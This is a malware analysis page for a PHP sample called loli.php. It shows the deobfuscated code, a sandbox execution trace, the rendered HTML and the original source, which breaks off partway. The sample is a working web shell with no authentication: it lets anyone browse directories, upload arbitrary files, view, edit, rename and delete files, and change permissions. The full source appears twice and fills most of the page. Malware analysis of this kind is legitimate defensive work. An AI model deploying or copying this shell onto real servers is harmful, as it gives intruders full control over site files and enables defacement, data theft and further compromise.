PHP Malware Analysis

loli.php

md5: 310844dd4fe5d787cb1a48c3d3624baf

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title


Deobfuscated PHP code

<?php

if (isset($_GET['t'])) {
} else {
    error_reporting(0);
    set_time_limit(0);
    if (get_magic_quotes_gpc()) {
        foreach ($_POST as $key => $value) {
            $_POST[$key] = stripslashes($value);
        }
    }
    $web = $_SERVER['HTTP_HOST'];
    echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<meta name="robots" content="NOINDEX, NOFOLLOW">
<!-- s4dness -->
<title>{ ' . $web . ' }</title>
<style type="text/css">

body{
font-family: "Tahoma";
background-color: black;
color:red;
}
#content tr:hover{
background-color: #191919;
text-shadow:0px 0px 10px #fff;
}

#content .first{
background-color: #191919;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:red;
;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
	<br><br><h1><center>
		<a href=? ><font color="red">[#~sudoroot]</font><a>
	</center></h1>
<div id="content">
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font size="2px" color="white">Path : </font> ';
    if (isset($_GET['path'])) {
        $path = $_GET['path'];
    } else {
        $path = getcwd();
    }
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    foreach ($paths as $id => $pat) {
        if ($pat == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?path=/\">/</a>";
            continue;
        }
        if ($pat == '') {
            continue;
        }
        echo "<font size=\"2px\"><a href=\"?path=";
        for ($i = 0; $i <= $id; $i++) {
            echo "{$paths[$i]}";
            if ($i != $id) {
                echo "/";
            }
        }
        echo '">' . $pat . '</a></font>/';
    }
    echo "</td></tr><tr><td>";
    if (isset($_FILES['file'])) {
        if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
            echo "<font color=\"lime\">Upload Berhasil</font><br />";
        } else {
            echo "<font color=\"red\">Upload Gagal</font><br/>";
        }
    }
    echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<font color=\"white\">Upload : </font> <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\">>\" />\r\n</form>\r\n</td></tr>";
    if (isset($_GET['filesrc'])) {
        echo "<tr><td>Current File : ";
        echo $_GET['filesrc'];
        echo "</tr></td></table><br />";
        echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
    } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
        echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
        if ($_POST['opt'] == 'chmod') {
            if (isset($_POST['perm'])) {
                if (chmod($_POST['path'], $_POST['perm'])) {
                    echo "<font color=\"lime\">Change Permission Berhasil</font><br/>";
                } else {
                    echo "<font color=\"red\">Change Permission Gagal</font><br />";
                }
            }
            echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
        } elseif ($_POST['opt'] == 'rename') {
            if (isset($_POST['newname'])) {
                if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                    echo "<font color=\"lime\">Ganti Nama Berhasil</font><br/>";
                } else {
                    echo "<font color=\"red\">Ganti Nama Gagal</font><br />";
                }
                $_POST['name'] = $_POST['newname'];
            }
            echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
        } elseif ($_POST['opt'] == 'edit') {
            if (isset($_POST['src'])) {
                $fp = fopen($_POST['path'], 'w');
                if (fwrite($fp, $_POST['src'])) {
                    echo "<font color=\"lime\">Berhasil Edit File</font><br/>";
                } else {
                    echo "<font color=\"red\">Gagal Edit File</font><br/>";
                }
                fclose($fp);
            }
            echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
        }
        echo "</center>";
    } else {
        echo "</table><br/><center>";
        if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
            if ($_POST['type'] == 'dir') {
                if (rmdir($_POST['path'])) {
                    echo "<font color=\"lime\">Directory Terhapus</font><br/>";
                } else {
                    echo "<font color=\"red\">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>";
                }
            } elseif ($_POST['type'] == 'file') {
                if (unlink($_POST['path'])) {
                    echo "<font color=\"lime\">File Terhapus</font><br/>";
                } else {
                    echo "<font color=\"red\">File Gagal Dihapus</font><br/>";
                }
            }
        }
        echo "</center>";
        $scandir = scandir($path);
        echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center><font size=\"2px\">Name</font></peller></center></td>\r\n<td><center><font size=\"2px\">Size</font></peller></center></td>\r\n<td><center><font size=\"2px\">Permission</font></peller></center></td>\r\n<td><center><font size=\"2px\">Modify</peller></font></center></td>\r\n</tr>\r\n<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
        foreach ($scandir as $dir) {
            if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
                continue;
            }
            echo '<tr>
<td><font size="2px"><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></font></td>
<td><font size="2px"><center>--</center></font></td>
<td><font size="2px"><center>';
            if (is_writable($path . '/' . $dir)) {
                echo "<font color=\"lime\">";
            } elseif (!is_readable($path . '/' . $dir)) {
                echo "<font color=\"red\">";
            }
            echo perms($path . '/' . $dir);
            if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
                echo "</font>";
            }
            echo '</font></center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
        }
        echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
        foreach ($scandir as $file) {
            if (!is_file($path . '/' . $file)) {
                continue;
            }
            $size = filesize($path . '/' . $file) / 1024;
            $size = round($size, 3);
            if ($size >= 1024) {
                $size = round($size / 1024, 2) . ' MB';
            } else {
                $size .= ' KB';
            }
            echo '<tr>
<td><font size="2px"><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></font></td>
<td><font size="2px"><center>' . $size . '</center></font></td>
<td><font size="2px"><center>';
            if (is_writable($path . '/' . $file)) {
                echo "<font color=\"lime\">";
            } elseif (!is_readable($path . '/' . $file)) {
                echo "<font color=\"red\">";
            }
            echo perms($path . '/' . $file);
            if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
                echo "</font>";
            }
            echo '</font></center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
        }
        echo "</table>\r\n</div>";
    }
    echo "\r\n</body>\r\n</html>";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/310844dd4fe5d787cb1a48c3d3624baf_trace-1676254948.6724.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:22:54.570242]
1	0	1	0.000221	393512
1	3	0	0.000536	445992	{main}	1		/var/www/html/uploads/loli.php	0	0
2	4	0	0.000556	445992	error_reporting	0		/var/www/html/uploads/loli.php	4	1	0
2	4	1	0.000571	446032
2	4	R			22527
2	5	0	0.000585	445992	set_time_limit	0		/var/www/html/uploads/loli.php	5	1	0
2	5	1	0.000600	446056
2	5	R			FALSE
2	6	0	0.000613	446024	get_magic_quotes_gpc	0		/var/www/html/uploads/loli.php	7	0
2	6	1	0.000625	446024
2	6	R			FALSE
1		A						/var/www/html/uploads/loli.php	12	$web = 'localhost'
2	7	0	0.000653	446024	getcwd	0		/var/www/html/uploads/loli.php	64	0
2	7	1	0.000667	446072
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/loli.php	64	$path = '/var/www/html/uploads'
2	8	0	0.000692	446072	str_replace	0		/var/www/html/uploads/loli.php	66	3	'\\'	'/'	'/var/www/html/uploads'
2	8	1	0.000707	446168
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/loli.php	66	$path = '/var/www/html/uploads'
2	9	0	0.000731	446072	explode	0		/var/www/html/uploads/loli.php	67	2	'/'	'/var/www/html/uploads'
2	9	1	0.000745	446648
2	9	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/loli.php	67	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/loli.php	69	$id = 0
1		A						/var/www/html/uploads/loli.php	71	$a = TRUE
1		A						/var/www/html/uploads/loli.php	69	$id = 1
1		A						/var/www/html/uploads/loli.php	77	$i = 0
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	69	$id = 2
1		A						/var/www/html/uploads/loli.php	77	$i = 0
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	69	$id = 3
1		A						/var/www/html/uploads/loli.php	77	$i = 0
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	69	$id = 4
1		A						/var/www/html/uploads/loli.php	77	$i = 0
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
1		A						/var/www/html/uploads/loli.php	77	$i++
2	10	0	0.000974	446576	scandir	0		/var/www/html/uploads/loli.php	168	1	'/var/www/html/uploads'
2	10	1	0.001008	447200
2	10	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'loli.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/loli.php	168	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'loli.php', 5 => 'prepend.php']
2	11	0	0.001046	447216	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/.'
2	11	1	0.001062	447280
2	11	R			TRUE
2	12	0	0.001076	447248	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/..'
2	12	1	0.001091	447296
2	12	R			TRUE
2	13	0	0.001104	447256	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/.htaccess'
2	13	1	0.001119	447296
2	13	R			FALSE
2	14	0	0.001132	447256	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/data'
2	14	1	0.001146	447296
2	14	R			TRUE
2	15	0	0.001160	447256	is_writable	0		/var/www/html/uploads/loli.php	184	1	'/var/www/html/uploads/data'
2	15	1	0.001178	447296
2	15	R			TRUE
2	16	0	0.001192	447256	perms	1		/var/www/html/uploads/loli.php	186	1	'/var/www/html/uploads/data'
3	17	0	0.001205	447256	fileperms	0		/var/www/html/uploads/loli.php	247	1	'/var/www/html/uploads/data'
3	17	1	0.001217	447296
3	17	R			16895
2		A						/var/www/html/uploads/loli.php	247	$perms = 16895
2		A						/var/www/html/uploads/loli.php	263	$info = 'd'
2		A						/var/www/html/uploads/loli.php	276	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	277	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	280	$info .= 'x'
2		A						/var/www/html/uploads/loli.php	283	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	284	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	287	$info .= 'x'
2		A						/var/www/html/uploads/loli.php	290	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	291	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	294	$info .= 'x'
2	16	1	0.001343	447296
2	16	R			'drwxrwxrwx'
2	18	0	0.001357	447256	is_writable	0		/var/www/html/uploads/loli.php	187	1	'/var/www/html/uploads/data'
2	18	1	0.001373	447296
2	18	R			TRUE
2	19	0	0.001388	447256	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/loli.php'
2	19	1	0.001402	447296
2	19	R			FALSE
2	20	0	0.001415	447264	is_dir	0		/var/www/html/uploads/loli.php	179	1	'/var/www/html/uploads/prepend.php'
2	20	1	0.001431	447312
2	20	R			FALSE
2	21	0	0.001444	447256	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/.'
2	21	1	0.001458	447280
2	21	R			FALSE
2	22	0	0.001471	447248	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/..'
2	22	1	0.001484	447296
2	22	R			FALSE
2	23	0	0.001497	447256	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001511	447296
2	23	R			TRUE
2	24	0	0.001524	447256	filesize	0		/var/www/html/uploads/loli.php	207	1	'/var/www/html/uploads/.htaccess'
2	24	1	0.001537	447296
2	24	R			64
1		A						/var/www/html/uploads/loli.php	207	$size = 0.0625
2	25	0	0.001560	447200	round	0		/var/www/html/uploads/loli.php	208	2	0.0625	3
2	25	1	0.001574	447272
2	25	R			0.063
1		A						/var/www/html/uploads/loli.php	208	$size = 0.063
1		A						/var/www/html/uploads/loli.php	212	$size = '0.063 KB'
2	26	0	0.001619	447296	is_writable	0		/var/www/html/uploads/loli.php	219	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001636	447336
2	26	R			FALSE
2	27	0	0.001650	447296	is_readable	0		/var/www/html/uploads/loli.php	220	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001664	447336
2	27	R			TRUE
2	28	0	0.001680	447296	perms	1		/var/www/html/uploads/loli.php	221	1	'/var/www/html/uploads/.htaccess'
3	29	0	0.001693	447296	fileperms	0		/var/www/html/uploads/loli.php	247	1	'/var/www/html/uploads/.htaccess'
3	29	1	0.001725	447336
3	29	R			33188
2		A						/var/www/html/uploads/loli.php	247	$perms = 33188
2		A						/var/www/html/uploads/loli.php	257	$info = '-'
2		A						/var/www/html/uploads/loli.php	276	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	277	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	280	$info .= '-'
2		A						/var/www/html/uploads/loli.php	283	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	284	$info .= '-'
2		A						/var/www/html/uploads/loli.php	287	$info .= '-'
2		A						/var/www/html/uploads/loli.php	290	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	291	$info .= '-'
2		A						/var/www/html/uploads/loli.php	294	$info .= '-'
2	28	1	0.001849	447336
2	28	R			'-rw-r--r--'
2	30	0	0.001862	447296	is_writable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001879	447336
2	30	R			FALSE
2	31	0	0.001892	447296	is_readable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.001907	447336
2	31	R			TRUE
2	32	0	0.001920	447296	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/data'
2	32	1	0.001935	447336
2	32	R			FALSE
2	33	0	0.001947	447296	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/loli.php'
2	33	1	0.001961	447336
2	33	R			TRUE
2	34	0	0.001973	447296	filesize	0		/var/www/html/uploads/loli.php	207	1	'/var/www/html/uploads/loli.php'
2	34	1	0.001986	447336
2	34	R			8947
1		A						/var/www/html/uploads/loli.php	207	$size = 8.7373046875
2	35	0	0.002009	447200	round	0		/var/www/html/uploads/loli.php	208	2	8.7373046875	3
2	35	1	0.002022	447272
2	35	R			8.737
1		A						/var/www/html/uploads/loli.php	208	$size = 8.737
1		A						/var/www/html/uploads/loli.php	212	$size = '8.737 KB'
2	36	0	0.002057	447296	is_writable	0		/var/www/html/uploads/loli.php	219	1	'/var/www/html/uploads/loli.php'
2	36	1	0.002072	447336
2	36	R			FALSE
2	37	0	0.002085	447296	is_readable	0		/var/www/html/uploads/loli.php	220	1	'/var/www/html/uploads/loli.php'
2	37	1	0.002099	447336
2	37	R			TRUE
2	38	0	0.002117	447296	perms	1		/var/www/html/uploads/loli.php	221	1	'/var/www/html/uploads/loli.php'
3	39	0	0.002130	447296	fileperms	0		/var/www/html/uploads/loli.php	247	1	'/var/www/html/uploads/loli.php'
3	39	1	0.002142	447336
3	39	R			33204
2		A						/var/www/html/uploads/loli.php	247	$perms = 33204
2		A						/var/www/html/uploads/loli.php	257	$info = '-'
2		A						/var/www/html/uploads/loli.php	276	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	277	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	280	$info .= '-'
2		A						/var/www/html/uploads/loli.php	283	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	284	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	287	$info .= '-'
2		A						/var/www/html/uploads/loli.php	290	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	291	$info .= '-'
2		A						/var/www/html/uploads/loli.php	294	$info .= '-'
2	38	1	0.002256	447336
2	38	R			'-rw-rw-r--'
2	40	0	0.002269	447296	is_writable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/loli.php'
2	40	1	0.002284	447336
2	40	R			FALSE
2	41	0	0.002297	447296	is_readable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/loli.php'
2	41	1	0.002311	447336
2	41	R			TRUE
2	42	0	0.002332	447416	is_file	0		/var/www/html/uploads/loli.php	206	1	'/var/www/html/uploads/prepend.php'
2	42	1	0.002348	447464
2	42	R			TRUE
2	43	0	0.002360	447424	filesize	0		/var/www/html/uploads/loli.php	207	1	'/var/www/html/uploads/prepend.php'
2	43	1	0.002373	447464
2	43	R			57
1		A						/var/www/html/uploads/loli.php	207	$size = 0.0556640625
2	44	0	0.002397	447320	round	0		/var/www/html/uploads/loli.php	208	2	0.0556640625	3
2	44	1	0.002410	447392
2	44	R			0.056
1		A						/var/www/html/uploads/loli.php	208	$size = 0.056
1		A						/var/www/html/uploads/loli.php	212	$size = '0.056 KB'
2	45	0	0.002445	447424	is_writable	0		/var/www/html/uploads/loli.php	219	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002461	447464
2	45	R			FALSE
2	46	0	0.002474	447424	is_readable	0		/var/www/html/uploads/loli.php	220	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002489	447464
2	46	R			TRUE
2	47	0	0.002502	447424	perms	1		/var/www/html/uploads/loli.php	221	1	'/var/www/html/uploads/prepend.php'
3	48	0	0.002514	447424	fileperms	0		/var/www/html/uploads/loli.php	247	1	'/var/www/html/uploads/prepend.php'
3	48	1	0.002527	447464
3	48	R			33261
2		A						/var/www/html/uploads/loli.php	247	$perms = 33261
2		A						/var/www/html/uploads/loli.php	257	$info = '-'
2		A						/var/www/html/uploads/loli.php	276	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	277	$info .= 'w'
2		A						/var/www/html/uploads/loli.php	280	$info .= 'x'
2		A						/var/www/html/uploads/loli.php	283	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	284	$info .= '-'
2		A						/var/www/html/uploads/loli.php	287	$info .= 'x'
2		A						/var/www/html/uploads/loli.php	290	$info .= 'r'
2		A						/var/www/html/uploads/loli.php	291	$info .= '-'
2		A						/var/www/html/uploads/loli.php	294	$info .= 'x'
2	47	1	0.002642	447464
2	47	R			'-rwxr-xr-x'
2	49	0	0.002656	447424	is_writable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002671	447464
2	49	R			FALSE
2	50	0	0.002684	447424	is_readable	0		/var/www/html/uploads/loli.php	222	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.002699	447464
2	50	R			TRUE
1	3	1	0.002714	447360
			0.002747	326224
TRACE END   [2023-02-13 00:22:54.572805]


Generated HTML code

<html><head>
<link href="" rel="stylesheet" type="text/css">
<meta name="robots" content="NOINDEX, NOFOLLOW">
<!-- s4dness -->
<title>{ localhost }</title>
<style type="text/css">

body{
font-family: "Tahoma";
background-color: black;
color:red;
}
#content tr:hover{
background-color: #191919;
text-shadow:0px 0px 10px #fff;
}

#content .first{
background-color: #191919;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:red;
;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
	<br><br><h1><center>
		<a href="?"><font color="red">[#~sudoroot]</font></a><a>
	</a></center></h1><a>
<div id="content">
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td><font size="2px" color="white">Path : </font> <a href="?path=/">/</a><font size="2px"><a href="?path=/var">var</a></font>/<font size="2px"><a href="?path=/var/www">www</a></font>/<font size="2px"><a href="?path=/var/www/html">html</a></font>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="white">Upload : </font> <input type="file" name="file">
<input type="submit" value=">>">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center><font size="2px">Name</font></center></td>
<td><center><font size="2px">Size</font></center></td>
<td><center><font size="2px">Permission</font></center></td>
<td><center><font size="2px">Modify</font></center></td>
</tr>
<tr class="first"><td></td><td></td><td></td><td></td></tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><font size="2px"><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></font></td>
<td><font size="2px"><center>0 KB</center></font></td>
<td><font size="2px"></font><center><font size="2px">-rw-r--r--</font></center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><font size="2px"><a href="?filesrc=/var/www/html/loli.php&amp;path=/var/www/html">loli.php</a></font></td>
<td><font size="2px"><center>8.737 KB</center></font></td>
<td><font size="2px"></font><center><font size="2px">-rw-rw-r--</font></center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="loli.php">
<input type="hidden" name="path" value="/var/www/html/loli.php">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div>

</div></a></body></html>

Original PHP code

<?php
if(isset($_GET['t'])){
} else{
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
$web = $_SERVER['HTTP_HOST'];
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<meta name="robots" content="NOINDEX, NOFOLLOW">
<!-- s4dness -->
<title>{ '.$web.' }</title>
<style type="text/css">

body{
font-family: "Tahoma";
background-color: black;
color:red;
}
#content tr:hover{
background-color: #191919;
text-shadow:0px 0px 10px #fff;
}

#content .first{
background-color: #191919;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:red;
;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
	<br><br><h1><center>
		<a href=? ><font color="red">[#~sudoroot]</font><a>
	</center></h1>
<div id="content">
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font size="2px" color="white">Path : </font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<font size="2px"><a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a></font>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="lime">Upload Berhasil</font><br />';
}else{
echo '<font color="red">Upload Gagal</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white">Upload : </font> <input type="file" name="file" />
<input type="submit" value=">>" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="lime">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="lime">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="lime">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="lime">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
